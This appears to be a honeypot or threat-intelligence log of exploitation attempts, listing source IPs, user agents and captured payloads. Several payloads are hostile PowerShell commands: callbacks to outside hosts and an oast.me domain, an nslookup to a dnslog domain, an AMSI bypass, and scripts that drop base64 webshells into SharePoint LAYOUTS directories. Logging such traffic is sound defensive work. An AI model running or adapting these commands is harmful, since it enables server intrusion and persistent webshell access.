| 816978882 | 45.63.58.216 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 | ' | urn:unique-id:securitycontext:b764f8e60e90450b8629b5ce74fccf82 | powershell.exe -NoProfile -NonInteractive -Command Invoke-WebRequest -UseBasicParsing 'http://45.63.58.216:80/b764f8e60e90450b8629b5ce74fccf82' |
| 818198798 | 146.19.216.119 | Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.26100.33158 | ' | urn:unique-id:securitycontext:2965f1ebb795466c82f01142ca764efa | Main.dll |
| 819557248 | | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 | " | urn:unique-id:securitycontext:8e1a54521f004b19880a4823bcdd3a94 | ayhmu2nq.dll |
| 819736316 | 165.154.199.52 | Mozilla/5.0 | ' | urn:uid:f7e4a5a8041648ef88f4befd099b1c61 | eze1fcmh.dll |
| 822026610 | 89.117.94.35 | Python-urllib/3.12 | " | urn:unique-id:securitycontext:77b2293ba0f5464db990f3d2ae402698 | ActivitySurrogateDisableTypeCheck |
| 822026616 | 89.117.94.35 | Python-urllib/3.12 | " | urn:unique-id:securitycontext:401e5797f3864092a836f92976a6506f | edm3ysnc.dll |
| 822486322 | 199.91.221.39 | Mozilla/5.0 (compatible; SPOOB/1.0) | " | urn:unique-id:securitycontext:0e5062c6139e48e3bd951e88b3165a48 | opctzxj4.dll |
| 822730890 | 199.91.221.39 | Mozilla/5.0 (compatible; SPMKScan/1.1) | " | urn:unique-id:securitycontext:64ca3f7733c04b8cbcd859e1c08ebb54 | ko5ybodq.dll |
| 823155656 | 175.137.255.204 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 | " | urn:unique-id:securitycontext:6ae69a0ebb7c4b66b7e8cc6f232a7ce3 | powershell.exe -NoProfile -NonInteractive -Command Invoke-WebRequest -UseBasicParsing 'http://d9k41hj3d47lhf7hbhlg6enhdi7tqb3uk.oast.me/206.255.76.17' |
| 823277752 | 103.151.172.73 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 | " | urn:unique-id:securitycontext:ed252fcd4481466d9f70d3a693a9d073 | nslookup 9ac2293c.log.dnslog.pp.ua |
| 823452414 | 38.175.103.78 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0 | " | urn:unique-id:securitycontext:50fe1b81594845f293362037b3b4b32d | `powershell.exe -NoProfile -NonInteractive -Command $ErrorActionPreference='SilentlyContinue';$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');if($a){$f=$a.GetField('amsiInitFailed','NonPublic,Static');if($f){$f.SetValue($null,$true)}};$c=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('[SNIP ERROR.aspx webshell'));$dirs=@('C:\inetpub\wwwroot\wss\VirtualDirectories','C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS','C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS');foreach($d in $dirs){if(Test-Path $d){Get-ChildItem $d -Recurse -Directory -ErrorAction SilentlyContinue |
| 824307296 | 190.5.224.135 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 | " | urn:unique-id:securitycontext:0584ba10642c43e2850bff4122a81514 | powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand JABFAHIAcgBv[SNIP], `$ErrorActionPreference='SilentlyContinue';$ProgressPreference='SilentlyContinue';$webshellB64='[SNIP default_settings.aspx webshell]';$msg='NOPATH';$done=$false;@('16','15') |
